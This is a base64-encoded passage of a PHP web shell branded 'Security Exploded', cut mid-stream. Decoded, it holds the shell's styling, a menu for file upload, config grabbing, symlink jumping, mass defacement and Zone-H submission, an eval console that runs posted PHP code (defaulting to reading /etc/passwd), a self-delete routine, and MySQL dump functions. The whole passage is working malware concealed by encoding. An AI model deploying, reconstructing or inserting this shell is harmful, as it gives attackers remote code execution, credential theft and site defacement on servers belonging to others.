94LXNoYWRvdzowcHggMHB4IDVweCA7Cn0KLmV4cGxvcmUgdGh7CnBhZGRpbmc6M3B4IDhweDsKZm9udC13ZWlnaHQ6bm9ybWFsOyAtbW96LWJvcmRlci1yYWRpdXM6IDVweDsgLW1vei1ib3gtc2hhZG93OjBweCAwcHggMTBweCA8Pz0kY29sb3I7ID8+OyAtd2Via2l0LWJveC1zaGFkb3c6MHB4IDBweCA1cHggOwp9Ci5leHBsb3JlIHRoOmhvdmVyICwgLnBocGluZm8gdGg6aG92ZXJ7CmJvcmRlci1ib3R0b206MXB4IHNvbGlkICMwMGZmMDA7IC1tb3otYm9yZGVyLXJhZGl1czogNXB4OyAtbW96LWJveC1zaGFkb3c6MHB4IDBweCAxMHB4IDw/PSRjb2xvcjsgPz47IC13ZWJraXQtYm94LXNoYWRvdzowcHggMHB4IDVweCA7Cn0KLmV4cGxvcmUgdHI6aG92ZXJ7CmJhY2tncm91bmQ6IzExMTExMTsgLW1vei1ib3JkZXItcmFkaXVzOiA1cHg7IC1tb3otYm94LXNoYWRvdzowcHggMHB4IDEwcHggPD89JGNvbG9yOyA/PjsgLXdlYmtpdC1ib3gtc2hhZG93OjBweCAwcHggNXB4IDsKfQoudmlld2ZpbGV7CmJhY2tncm91bmQ6I0VERUNFQjsKY29sb3I6IzAwMDAwMDsKbWFyZ2luOjRweCAycHg7CnBhZGRpbmc6OHB4OyAtbW96LWJvcmRlci1yYWRpdXM6IDVweDsgLW1vei1ib3gtc2hhZG93OjBweCAwcHggMTBweCA8Pz0kY29sb3I7ID8+OyAtd2Via2l0LWJveC1zaGFkb3c6MHB4IDBweCA1cHggOwp9Ci5zZW1idW55aXsKZGlzcGxheTpub25lOwpwYWRkaW5nOjA7bWFyZ2luOjA7IC1tb3otYm9yZGVyLXJhZGl1czogNXB4OyAtbW96LWJveC1zaGFkb3c6MHB4IDBweCAxMHB4IDw/PSRjb2xvcjsgPz47IC13ZWJraXQtYm94LXNoYWRvdzowcHggMHB4IDVweCA7Cn0KLmpheWF7IG1hcmdpbjo1cHg7IHRleHQtYWxpZ246cmlnaHQ7IDw/PSRjb2xvcjsgPz47fQouZm9vdGVyeyBiYWNrZ3JvdW5kOiMxMTExMTE7IHdpZHRoOjk5JTsgcGFkZGluZzo1cHg7IG1hcmdpbjoxMHB4IGF1dG8gNXB4OyB0ZXh0LWFsaWduOmNlbnRlcjsgZm9udC1zaXplOjEzcHg7IC1tb3otYm9yZGVyLXJhZGl1czogNXB4OyAtbW96LWJveC1zaGFkb3c6MHB4IDBweCAxMHB4IDw/PSRjb2xvcjsgPz47IC13ZWJraXQtYm94LXNoYWRvdzowcHggMHB4IDVweCA7IH0gCi5mb290ZXIgYXsgZm9udC1zaXplOjE0cHg7IH0KLmZvb3RlciBzcGFueyBmb250LXNpemU6MTRweDt9Cjwvc3R5bGU+PC9oZWFkPgoKPGJvZHkgb25Mb2FkPSJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnY21kJykuZm9jdXMoKTsiPgo8IS0tIGxvZ291dCBzdGFydCBoZXJlIC0tPgo8ZGl2IGlkPSJtZW51Ij48c3BhbiBzdHlsZT0nZmxvYXQ6cmlnaHQ7Jz48YnI+Cjw/PSJUaW1lIE9uIFNlcnZlciA6IDxiPiAiLmRhdGUoImQgTSBZIEg6aTpzIix0aW1lKCkpLiI8L2I+IjsgPz4gPGJyPjxicj4gJm5ic3AgJm5ic3AgICZuYnNwICZuYnNwIAo8YSBocmVmPSI/PD89Ink9Ii4kcHdkOyA/PiZhbXA7eD1raWxsIiB0aXRsZT0nUmVtb3ZlIFNoZWxsJz5SZW1vdmU8L2E+CiB8IAo8YSBocmVmPSI/PD89Ink9Ii4kcHdkOyA/PiZhbXA7eD1sb2dvdXQiIHRpdGxlPSdMb2dvdXQnPkxvZ291dDwvYT4gJm5ic3AgJm5ic3AgJm5ic3AgPGJyPjxicj4KJm5ic3AgJm5ic3AgJm5ic3AgJm5ic3AgJm5ic3AgJm5ic3AgJm5ic3AgJm5ic3AgJm5ic3AgJm5ic3AgJm5ic3AgJm5ic3AgJm5ic3AgPGEgaHJlZj0iPzw/PSJ5PSIuJHB3ZDsgPz4mYW1wO3g9YWJvdXQiICB0aXRsZT0nQWJvdXQgQXV0aG9yJz5BYm91dDwvYT4KPC9zcGFuPjwvZGl2Pgo8IS0tIGxvZ291dCBlbmQgaGVyZSAtLT4KPGRpdiBjbGFzcz0ibWFpbiI+CjwhLS0gaGVhZCBpbmZvIHN0YXJ0IGhlcmUgLS0+CjxkaXYgY2xhc3M9ImhlYWRfaW5mbyI+Cjx0YWJsZT48dHI+Cjx0ZD48dGFibGUgY2xhc3M9ImlucHV0eiI+PHRyPjx0ZD48YSBocmVmPSIiIHRhcmdldD0iYmxhbmsiIG9uQ2xpY2s9ImxvY2F0aW9uLnJlbG9hZCgpOyI+PHNwYW4gY2xhc3M9IkYwa3U1Ij48aW1nIHNyYz0nPD89JGxvZ287ID8+JyB0aXRsZT0iU2VjdXJpdHkgRXhwbG9kZWQiIHdpZHRoPSIxNTAiIGhlaWdodD0iMTUwIj48L3NwYW4+PC9zcGFuPjwvYT48L3RkPjwvdHI+PHRyPjx0ZD4KPGEgaHJlZj0iaHR0cDovL3R3aXR0ZXIuY29tL1BvcnQyMl9FeHBsb2RlZCIgY2xhc3M9InR3aXR0ZXItZm9sbG93LWJ1dHRvbiIgZGF0YS1zaG93LWNvdW50PSJmYWxzZSI+ICAgIEZvbGxvdyBAUG9ydDIyX0V4cGxvZGVkPC9hPgo8c2NyaXB0PiFmdW5jdGlvbihkLHMsaWQpe3ZhciBqcyxmanM9ZC5nZXRFbGVtZW50c0J5VGFnTmFtZShzKVswXSxwPS9eaHR0cDovLnRlc3QoZC5sb2NhdGlvbik/J2h0dHAnOidodHRwJztpZighZC5nZXRFbGVtZW50QnlJZChpZCkpe2pzPWQuY3JlYXRlRWxlbWVudChzKTtqcy5pZD1pZDtqcy5zcmM9cCsnOi8vcGxhdGZvcm0udHdpdHRlci5jb20vd2lkZ2V0cy5qcyc7ZmpzLnBhcmVudE5vZGUuaW5zZXJ0QmVmb3JlKGpzLGZqcyk7fX0oZG9jdW1lbnQsICdzY3JpcHQnLCAndHdpdHRlci13anMnKTs8L3NjcmlwdD48L3RkPjwvdHI+PC90YWJsZT48L3RkPgo8dGQ+PD89JGJ1ZmY7ID8+PC90ZD4KPC90cj48L3RhYmxlPjwvZGl2Pgo8IS0tIGhlYWQgaW5mbyBlbmQgaGVyZSAtLT4KPCEtLSBtZW51IHN0YXJ0IC0tPjxicj4KPGNlbnRlcj48ZGl2IGlkPSJtZW51Ij4KPGEgaHJlZj0iPyI+PGltZyBzcmM9J2RhdGE6aW1hZ2UvcG5nO2Jhc2U2NCxpVkJPUncwS0dnb0FBQUFOU1VoRVVnQUFBQkFBQUFBUUNBWUFBQUFmOC85aEFBQUFBWE5TUjBJQXJzNGM2UUFBQUFaaVMwZEVBUDhBL3dEL29MMm5rd0FBQUFsd1NGbHpBQUFOMWdBQURkWUJrRzk1bkFBQUFBZDBTVTFGQjlvSkJ4UTJHUm51L1RnQUFBSnpTVVJCVkRqTHRaTFBTeHRCSE1YZjVzZW1aRGZTN0twSWFXelJTaG9GRDVVSzloNmFpNWVDUGZaa3dZSjRrRjU2NmEzMEgwZ0YyNEJVcURkakJUMVZDRklzTkJVV0V3K2hhMm9icERHVVhHUjFaN0taK2ZiUVJreTF2ZlVMQXpQRDQvTWVNdy80SDdPNnVnb0FzRzE3dEZ3dUp3RmdkM2YzUXEzeU4wZytuNytyNi9vS2dFdFFNRFdZR0h4NWtjNTM5ckM0dUFnQTJIeS9PYUdxNm9wbFdhVmNMbWR4eGw5WWx2VUVBTGEydHY2ZFlHUGpYU29TNmNoV0twV0thWnBkb1ZCSUw1VksrME5EUS8xRU5EMDJOalovTHNIYzNCd0FZRzF0YlNJWVZMT0ZRdUd6cG1sZGdVREFrRktxdmIyOTE3YTN0MjNHV0RxWHl6MEJnUFgxOWZZRXk4dkxLVjNYc3djSEJ4WERNTG9pa1lnaHBhUlcwa2Fqd2ZiSzVXODM0L0YrQU5PcFZHcitGTEMwdEhSZjAvVFgrL3RmN0o2ZW5pdWFwcGtBNkl3QnRTQzJiWDlOSkJJRFJQVDA1T1RrdVRMMWFLcGo5UGJveDFxdGRtZ1l4bFhUTkc4UUVWM3dQZ1JBY1YyM2JsbFdmbVJrWk5oMTNWdUtwbW5CdnI2K08xTEsyc3pNek50d09CeHZpWVVRVUJRRlBwK3ZCWUNVOGpDVHlhU09qNDh2QS9odzZqSStQaDVKSnBPZnd1RnduSWpBR0tzdkxDdzhjeHhIVEU0K2ZHd1kwUmdSZ1lpK080NHpQRHM3VzIvcmdldTZDbU1NakRGd3ppR0UrSkZJSkY1VnE5Vk1zK2tkY3M3Qk9RZGpERWRIUjZmR2dkWkdDQUhPT2Z4K1A0Z0lRZ2daalVhcHM5T2tScU5CakRIUXIxRTh6OE01UUxWYWhlTTRUWi9mQnhEUWJEWlZ6L01nSllGekhsUlZGVVJRbXMyR3FOZnI0cUltK21PeDJMM3U3dTVoS1NWQ0lYVlBTdkdtc0ZOVUJ1THhCOEZBNERvQWVKNjNVeXdXc3dCazJ4K2wwK2tXMFA5N0tYODB0blhmTmo4QjVORTVET01WMlQwQUFBQUFTVVZPUks1Q1lJST0nIGhlaWdodD0iMTgiIHdpZHRoPSIzNCIgdGl0bGU9J0hvbWUgJz48L2E+CjxhIGhyZWY9Ij88Pz0ieT0iLiRwd2Q7ID8+IiB0aXRsZT0nRmlsZSBFeHBsb3Jlcic+RmlsZXM8L2E+CjxhIGhyZWY9Ij88Pz0ieT0iLiRwd2Q7ID8+JmFtcDt4PXVwbG9hZCIgdGl0bGU9J1VwbG9hZCBGaWxlJz5VcGxvYWRlcjwvYT4KPGEgaHJlZj0iPzw/PSJ5PSIuJHB3ZDsgPz4mYW1wO3g9c3FsIiB0aXRsZT0nQ29ubmVjdCBUbyBEYXRhYmFzZSc+TXlTUUwgTWFuYWdlcjwvYT48YnI+PGJyPgo8YSBocmVmPSI/PD89Ink9Ii4kcHdkOyA/PiZhbXA7eD1qdW1waW5nIiB0aXRsZT0nSnVtcGluZyc+SnVtcGVyPC9hPgo8YSBocmVmPSI/PD89Ink9Ii4kcHdkOyA/PiZhbXA7eD1zeW1saW5rIiB0aXRsZT0nU3ltbGluayc+TXVsdGkgU3ltbGlua2VyPC9hPgo8YSBocmVmPSI/PD89Ink9Ii4kcHdkOyA/PiZhbXA7eD1ncmFiYyIgdGl0bGU9J0NvbmZpZyBHcmFiYmVyJz5Db25maWcgR3JhYmJlcjwvYT48YnI+PGJyPgo8YSBocmVmPSI/PD89Ink9Ii4kcHdkOyA/PiZhbXA7eD1tYXNzIiB0aXRsZT0nRGVmYWNlIFRvIEFsbCBGb2xkZXInPk1hc3MgRGlyZWN0b3J5IERlZmFjZXI8L2E+CjxhIGhyZWY9Ij88Pz0ieT0iLiRwd2Q7ID8+JmFtcDt4PXpvbmUiIHRpdGxlPSdTdWJtaXQgVmljdGltIFRvIFpvbmUtSCc+Wm9uZS1IIFN1Ym1pdGVyPC9hPgo8L2Rpdj48L2NlbnRlcj48YnI+CjwhLS0gbWVudSBlbmQgLS0+Cjw/cGhwCkBpbmlfc2V0KCdkaXNwbGF5X2Vycm9ycycsIDApOwpAaW5pX3NldCgnb3V0cHV0X2J1ZmZlcmluZycsMCk7CgppZihpc3NldCgkX0dFVFsneCddKSAmJiAoJF9HRVRbJ3gnXSA9PSAna2lsbCcpKSB7CiAgICAKICAgIGVjaG8gIgo8dGFibGUgc3R5bGU9d2lkdGg6MTAwJTsgYm9yZGVyPTAgY2xhc3M9dGFibmV0IGNlbGxwYWRkaW5nPTMgY2VsbHNwYWNpbmc9MSBhbGlnbj1jZW50ZXI+CgogICAgPHRyPgogICAgPHRkIHZhbGlnbj10b3AgYmdjb2xvcj0jMTUxNTE1IGNsYXNzPXN0eWxlMiBzdHlsZT13aWR0aDogMTM5cHg+CiAgICA8Y2VudGVyPjxiPjxmb250IHNpemU9NSBzdHlsZT1pdGFsaWMgY29sb3I9IzAwZmYwMD5TaGVsbCBLaWxsZXI8L2ZvbnQ+PC9iPjwvY2VudGVyPjwvdGQ+PC90cj48L3RhYmxlPgoiOwoKZWNobyAnPGNlbnRlcj48YnI+PGZvbnQgc3R5bGU9ImNvbG9yOjw/PSRjb2xvcjsgPz4iPkRvIFlvdSBSZWFsbHkgV2FudCBUbyBEZWxldGUgVGhpcyBTaGVsbCA/PC9iPjwvY2VudGVyPjxicj4nOwo/Pgo8Y2VudGVyPgo8ZGl2IGlkPSJtZW51Ij4KPGEgIGhyZWY9Ij88Pz0ieT0iLiRwd2Q7Pz4mYW1wO3g9a2lsbGl0IiB0aXRsZT0nUmVtb3ZlIFNoZWxsJyA+WWVzLCBJIFdhbnQ8L2ZvbnQ+PC9hPiAmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsgCjxhICBocmVmPSI8Pz0kX1NFUlZFUlsnUEhQX1NFTEYnXTsgPz4iPkNhbmNlbDwvYT48L2I+PC9jZW50ZXI+PGJyPjxicj4KPC9kaXY+Cjw/cGhwCn0KaWYoaXNzZXQoJF9HRVRbJ3gnXSkgJiYgKCRfR0VUWyd4J10gPT0gJ2tpbGxpdCcpKSB7CiRmaWxlID0gJF9TRVJWRVJbJ1BIUF9TRUxGJ107CmlmKEB1bmxpbmsocHJlZ19yZXBsYWNlKCchXChcZCtcKVxzLiohJywgJycsIF9fRklMRV9fKSkpCmRpZSgnPGJyPjxicj48YiBjbGFzcz0idG1wIj48Zm9udCBjb2xvcj0iI2ZmMDAwMCIgc2l6ZT0iMnB0Ij48Y2VudGVyPlNoZWxsIEhhcyBCZWVuIEtpbGxlZC4uLiBUYWtlIENhcmUgQW5kIFN0YXkgU2FmZTwvY2VudGVyPjwvZm9udD48L2I+PG1ldGEgaHR0cC1lcXVpdj0icmVmcmVzaCIgY29udGVudD0iMzsgdXJsPT8iLiRwd2QuIiIgLz4nKTsKZWxzZQplY2hvICc8Zm9udCBjb2xvcj0iI2ZmZjYwMCIgc2l6ZT0iMnB0Ij5VbmxpbmsgRXJyb3IgITwvZm9udD4nOwoKfQovLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLwplbHNlaWYoaXNzZXQoJF9HRVRbJ3gnXSkgJiYgKCRfR0VUWyd4J10gPT0gJ3BocCcpKQp7CkBpbmlfc2V0KCdvdXRwdXRfYnVmZmVyaW5nJywwKTsKZWNobyAiCjx0YWJsZSBzdHlsZT13aWR0aDoxMDAlOyBib3JkZXI9MCBjbGFzcz10YWJuZXQgY2VsbHBhZGRpbmc9MyBjZWxsc3BhY2luZz0xIGFsaWduPWNlbnRlcj4KCiAgICA8dHI+CiAgICA8dGQgdmFsaWduPXRvcCBiZ2NvbG9yPSMxNTE1MTUgY2xhc3M9c3R5bGUyIHN0eWxlPXdpZHRoOiAxMzlweD4KICAgIDxjZW50ZXI+PGI+PGZvbnQgc2l6ZT01IHN0eWxlPWl0YWxpYyBjb2xvcj0jMDBmZjAwPkV2YWw8L2ZvbnQ+PC9iPjwvY2VudGVyPjwvdGQ+PC90cj48L3RhYmxlPgoiOwogPz4KCjxmb3JtIGFjdGlvbj0iP3k9PD89JHB3ZDsgPz4mYW1wO3g9cGhwIiBtZXRob2Q9InBvc3QiPgo8dGFibGUgY2xhc3M9InRhYm5ldCIgc3R5bGU9IndpZHRoOjgwMHB4O2hlaWdodDozMDBweCI+Cjx0cj48dGQ+Cjx0ZXh0YXJlYSBjbGFzcz0ib3V0cHV0IiBuYW1lPSJjbWQiIGlkPSJjbWQiPgo8P3BocAppZihpc3NldCgkX1BPU1RbJ3N1Ym1pdGNtZCddKSkgewogICAgZWNobyBldmFsKG1hZ2ljYm9vbSgkX1BPU1RbJ2NtZCddKSk7Cn0KZWxzZSBlY2hvICJlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCcvZXRjL3Bhc3N3ZCcpOyI7Cj8+CjwvdGV4dGFyZWE+Cjx0cj48dGQ+PGlucHV0IHN0eWxlPSJ3aWR0aDo4MDBweDsiIGNsYXNzPSJpbnB1dHpidXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkdvICEiIG5hbWU9InN1Ym1pdGNtZCIgLz48L3RkPjwvdHI+PC9mb3JtPgo8L3RhYmxlPgo8L2Zvcm0+Cgo8P3BocCB9CgovLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLwovLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vCmVsc2VpZihpc3NldCgkX0dFVFsneCddKSAmJiAoJF9HRVRbJ3gnXSA9PSAnc3FsJykpewogICAgZWNobyAiCjx0YWJsZSBzdHlsZT13aWR0aDoxMDAlOyBib3JkZXI9MCBjbGFzcz10YWJuZXQgY2VsbHBhZGRpbmc9MyBjZWxsc3BhY2luZz0xIGFsaWduPWNlbnRlcj4KCiAgICA8dHI+CiAgICA8dGQgdmFsaWduPXRvcCBiZ2NvbG9yPSMxNTE1MTUgY2xhc3M9c3R5bGUyIHN0eWxlPXdpZHRoOiAxMzlweD4KICAgIDxjZW50ZXI+PGI+PGZvbnQgc2l6ZT01IHN0eWxlPWl0YWxpYyBjb2xvcj0jMDBmZjAwPk15U1FMIE1hbmFnZXI8L2ZvbnQ+PC9iPjwvY2VudGVyPjwvdGQ+PC90cj48L3RhYmxlPgoiOwpmdW5jdGlvbiB2aWV3X3NpemUoJHNpemUpIHsKICBpZiAoIWlzX251bWVyaWMoJHNpemUpKSB7IHJldHVybiBGQUxTRTsgfQogIGVsc2UgewppZiAoJHNpemUgPj0gMTA3Mzc0MTgyNCkgeyRzaXplID0gcm91bmQoJHNpemUvMTA3Mzc0MTgyNCoxMDApLzEwMCAuIiBHQiI7fQplbHNlaWYgKCRzaXplID49IDEwNDg1NzYpIHskc2l6ZSA9IHJvdW5kKCRzaXplLzEwNDg1NzYqMTAwKS8xMDAgLiIgTUIiO30KZWxzZWlmICgkc2l6ZSA+PSAxMDI0KSB7JHNpemUgPSByb3VuZCgkc2l6ZS8xMDI0KjEwMCkvMTAwIC4iIEtCIjt9CmVsc2UgeyRzaXplID0gJHNpemUgLiAiIEIiO30KcmV0dXJuICRzaXplOwogIH0KfQpmdW5jdGlvbiBteXNxbF9kdW1wKCRzZXQpIHsKICAkc29jayA9ICRzZXRbInNvY2siXTsKICAkZGIgPSAkc2V0WyJkYiJdOwogICRwcmludCA9ICRzZXRbInByaW50Il07CiAgJG5sMmJyID0gJHNldFsibmwyYnIiXTsKICAkZmlsZSA9ICRzZXRbImZpbGUiXTsKICAkYWRkX2Ryb3AgPSAkc2V0WyJhZGRfZHJvcCJdOwogICR0YWJzID0gJHNldFsidGFicyJdOwogICRvbmx5dGFicyA9ICRzZXRbIm9ubHl0YWJzIl07CiAgJHJldCA9IGFycmF5KCk7CiAgJHJldFsiZXJyIl0gPSBhcnJheSgpOwogIGlmICghaXNfcmVzb3VyY2UoJHNvY2spKSB7ZWNobygiRXJyb3I6IFwkc29jayBpcyBub3QgdmFsaWQgcmVzb3VyY2UuIik7fQogIGlmIChlbXB0eSgkZGIpKSB7JGRiID0gImRiIjt9CiAgaWYgKGVtcHR5KCRwcmludCkpIHskcHJpbnQgPSAwO30KICBpZiAoZW1wdHkoJG5sMmJyKSkgeyRubDJiciA9IDA7fQogIGlmIChlbXB0eSgkYWRkX2Ryb3ApKSB7JGFkZF9kcm9wID0gVFJVRTt9CiAgaWYgKGVtcHR5KCRmaWxlKSkgewokZmlsZSA9ICR0bXBfZGlyLiJkdW1wXyIuZ2V0ZW52KCJTRVJWRVJfTkFNRSIpLiJfIi4kZGIuIl8iLmRhdGUoImQtbS1ZLUgtaS1zIikuIi5zcWwiOwogIH0KICBpZiAoIWlzX2FycmF5KCR0YWJzKSkgeyR0YWJzID0gYXJyYXkoKTt9CiAgaWYgKGVtcHR5KCRhZGRfZHJvcCkpIHskYWRkX2Ryb3AgPSBUUlVFO30KICBpZiAoc2l6ZW9mKCR0YWJzKSA9PSAwKSB7CiRyZXMgPSBteXNxbF9xdWVyeSgiU0hPVyBUQUJMRVMgRlJPTSAiLiRkYiwgJHNvY2spOwppZiAobXlzcWxfbnVtX3Jvd3MoJHJlcykgPiAwKSB7d2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9yb3coJHJlcykpIHskdGFic1tdID0gJHJvd1swXTt9fQogIH0KICAkb3V0ID0gIgogICMgRHVtcGVkIEJ5ICIuJHhOYW1lLiIKICAjIE15U1FMIHZlcnNpb246ICgiLm15c3FsX2dldF9zZXJ2ZXJfaW5mbygpLiIpIHJ1bm5pbmcgb24gIi5nZXRlbnYoIlNFUlZFUl9BRERSIikuIiAoIi5nZXRlbnYoIlNFUlZFUl9OQU1FIikuIikiLiIKICAjIERhdGU6ICIuZGF0ZSgiZC5tLlkgSDppOnMiKS4iCiAgIyBEQjogXCIiLiRkYi4iXCIKICAjLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tIjsKICAkYyA9IGNvdW50KCRvbmx5dGFicyk7CiAgZm9yZWFjaCgkdGFicyBhcyAkdGFiKSB7CmlmICgoaW5fYXJyYXkoJHRhYiwkb25seXRhYnMpKSBvciAoISRjKSkgewogIGlmICgkYWRkX2Ryb3ApIHskb3V0IC49ICJEUk9QIFRBQkxFIElGIEVYSVNUUyBgIi4kdGFiLiJgO1xuIjt9CiAgJHJlcyA9IG15c3FsX3F1ZXJ5KCJTSE9XIENSRUFURSBUQUJMRSBgIi4kdGFiLiJgIiwgJHNvY2spOwogIGlmICghJHJlcykgeyRyZXRbImVyciJdW10gPSBteXNxbF9zbWFydGVycm9yKCk7fQogIGVsc2Ugewokcm93ID0gbXlzcWxfZmV0Y2hfcm93KCRyZXMpOwokb3V0IC49ICRyb3dbIjEiXS4iO1xuXG4iOwokcmVzID0gbXlzcWxfcXVlcnkoIlNFTEVDVCAqIEZST00gYCR0YWJgIiwgJHNvY2spOwppZiAobXlzcWxfbnVtX3Jvd3MoJHJlcykgPiAwKSB7CiAgd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hc3NvYygkcmVzKSkgewoka2V5cyA9IGltcGxvZGUoImAsIGAiLCBhcnJheV9rZXlzKCRyb3cpKTsKJHZhbHVlcyA9IGFycmF5X3ZhbHVlcygkcm93KTsKZm9yZWFjaCgkdmFsdWVzIGFzICRrPT4kdikgeyR2YWx1ZXNbJGtdID0gYWRkc2xhc2hlcygkdik7fQokdmFsdWVzID0gaW1wbG9kZSgiJywgJyIsICR2YWx1ZXMpOwokc3FsID0gIklOU0VSVCBJTlRPIGAkdGFiYChgIi4ka2V5cy4iYCkgVkFMVUVTICgnIi4kdmFsdWVzLiInKTtcbiI7CiRvdXQgLj0gJHNxbDsKICB9Cn0KICB9Cn0KICB9CiAgJG91dCAuPSAiIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLVxuXG4iOwogIGlmICgkZmlsZSkgewokZnAgPSBmb3BlbigkZmlsZSwgInciKTsKaWYgKCEkZnApIHskcmV0WyJlcnIiXVtdID0gMjt9CmVsc2UgewogIGZ3cml0ZSAoJGZwLCAkb3V0KTsKICBmY2xvc2UgKCRmcCk7Cn0KICB9CiAgaWYgKCRwcmludCkge2lmICgkbmwyYnIpIHtlY2hvIG5sMmJyKCRvdXQpO30gZWxzZSB7ZWNobyAkb3V0O319CiAgcmV0dXJuICRvdXQ7Cn0KZnVuY3Rpb24gbXlzcWxfYnVpbGR3aGVyZSgkYXJyYXksJHNlcD0iIGFuZCIsJGZ1bmN0cz1hcnJheSgpKSB7CiAgaWYgKCFpc19hcnJheSgkYXJyYXkpKSB7JGFycmF5ID0gYXJyYXkoKTt9CiAgJHJlc3VsdCA9ICIiOwogIGZvcmVhY2goJGFycmF5IGFzICRrPT4kdikgewokdmFsdWUgPSAiIjsKaWYgKCFlbXB0eSgkZnVuY3RzWyRrXSkpIHskdmFsdWUgLj0gJGZ1bmN0c1ska10uIigiO30KJHZhbHVlIC49ICInIi5hZGRzbGFzaGVzKCR2KS4iJyI7CmlmICghZW1wdHkoJGZ1bmN0c1ska10pKSB7JHZhbHVlIC49ICIpIjt9CiRyZXN1bHQgLj0gImAiLiRrLiJgID0gIi4kdmFsdWUuJHNlcDsKICB9CiAgJHJlc3VsdCA9IHN1YnN0cigkcmVzdWx0LDAsc3RybGVuKCRyZXN1bHQpLXN0cmxlbigkc2VwKSk7CiAgcmV0dXJuICRyZXN1bHQ7Cn0KZnVuY3Rpb24gbXlzcWxfZmV0Y2hfYWxsKCRxdWVyeSwkc29jaykgewogIGlmICgkc29jaykgeyRyZXN1bHQgPSBteXNxbF9xdWVyeSgkcXVlcnksJHNvY2spO30KICBlbHNlIHskcmVzdWx0ID0gbXlzcWxfcXVlcnkoJHF1ZXJ5KTt9CiAgJGFycmF5ID0gYXJyYXkoKTsKICB3aGlsZSAoJHJvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQpKSB7JGFycmF5W10gPSAkcm93O30KICBteXNxbF9mcmVlX3Jlc3VsdCgkcmVzdWx0KTsKICByZXR1cm4gJGFycmF5Owp9CmZ1bmN0aW9uIG15c3FsX3NtYXJ0ZXJyb3IoJHNvY2spIHsKICBpZiAoJHNvY2spIHsgJGVycm9yID0gbXlzcWxfZXJyb3IoJHNvY2spOyB9CiAgZWxzZSB7ICRlcnJvciA9IG15c3FsX2Vycm9yKCk7IH0KICAkZXJyb3IgPSBodG1sc3BlY2lhbGNoYXJzKCRlcnJvcik7CiAgcmV0dXJuICRlcnJvcjsKfQpmdW5jdGlvbiBteXNxbF9xdWVyeV9mb3JtKCkgewogIGdsb2JhbCAkc3VibWl0LCRzcWxfeCwkc3FsX3F1ZXJ5LCRzcWxfcXVlcnlfcmVzdWx0LCRzcWxfY29uZmlybSwkc3FsX3F1ZXJ5X2Vycm9yLCR0Ymxfc3RydWN0OwogIGlmICgoJHN1Ym1pdCkgYW5kICghJHNxbF9xdWVyeV9yZXN1bHQpIGFuZCAoJHNxbF9jb25maXJtKSkge2lmICghJHNxbF9xdWVyeV9lcnJvcikgeyRzcWxfcXVlcnlfZXJyb3IgPSAiUXVlcnkgd2FzIGVtcHR5Ijt9IGVjaG8gIjxiPkVycm9yOjwvYj4gPGJyPiIuJHNxbF9xdWVyeV9lcnJvci4iPGJyPiI7fQogIGlmICgkc3FsX3F1ZXJ5X3Jlc3VsdCBvciAoISRzcWxfY29uZmlybSkpIHskc3FsX3ggPSAkc3FsX2dvdG87fQogIGlmICgoISRzdWJtaXQpIG9yICgkc3FsX3gpKSB7CmVjaG8gIjx0YWJsZT48dHI+PHRkPjxmb3JtIG5hbWU9XCJmeDI5c2hfc3FscXVlcnlcIiBtZXRob2Q9UE9TVD48Yj4iOyBpZiAoKCRzcWxfcXVlcnkpIGFuZCAoISRzdWJtaXQpKSB7ZWNobyAiRG8geW91IHJlYWxseSB3YW50IHRvIjt9IGVsc2Uge2VjaG8gIlNRTC1RdWVyeSI7fSBlY2hvICI6PC9iPjxicj48YnI+PHRleHRhcmVhIG5hbWU9c3FsX3F1ZXJ5IGNvbHM9MTAwIHJvd3M9MTA+Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcXVlcnkpLiI8L3RleHRhcmVhPjxicj48YnI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9eCB2YWx1ZT1zcWw+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9c3FsX3ggdmFsdWU9cXVlcnk+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9c3FsX3RibCB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3RibCkuIlwiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXN1Ym1pdCB2YWx1ZT1cIjFcIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1cInNxbF9nb3RvXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9nb3RvKS4iXCI+PGlucHV0IHR5cGU9c3VibWl0IG5hbWU9c3FsX2NvbmZpcm0gdmFsdWU9XCJZZXNcIj4gPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPVwiTm9cIj48L2Zvcm0+PC90ZD4iOwppZiAoJHRibF9zdHJ1Y3QpIHsKICBlY2hvICI8dGQgdmFsaWduPVwidG9wXCI+PGI+RmllbGRzOjwvYj48YnI+IjsKICBmb3JlYWNoICgkdGJsX3N0cnVjdCBhcyAkZmllbGQpIHskbmFtZSA9ICRmaWVsZFsiRmllbGQiXTsgZWNobyAiKyA8YSBocmVmPVwiI1wiIG9uY2xpY2s9XCJkb2N1bWVudC5meDI5c2hfc3FscXVlcnkuc3FsX3F1ZXJ5LnZhbHVlKz0nYCIuJG5hbWUuImAnO1wiPjxiPiIuJG5hbWUuIjwvYj48L2E+PGJyPiI7fQogIGVjaG8gIjwvdGQ+PC90cj48L3RhYmxlPiI7Cn0KICB9CiAgaWYgKCRzcWxfcXVlcnlfcmVzdWx0IG9yICghJHNxbF9jb25maXJtKSkgeyRzcWxfcXVlcnkgPSAkc3FsX2xhc3RfcXVlcnk7fQp9CmZ1bmN0aW9uIG15c3FsX2NyZWF0ZV9kYigkZGIsJHNvY2s9IiIpIHsK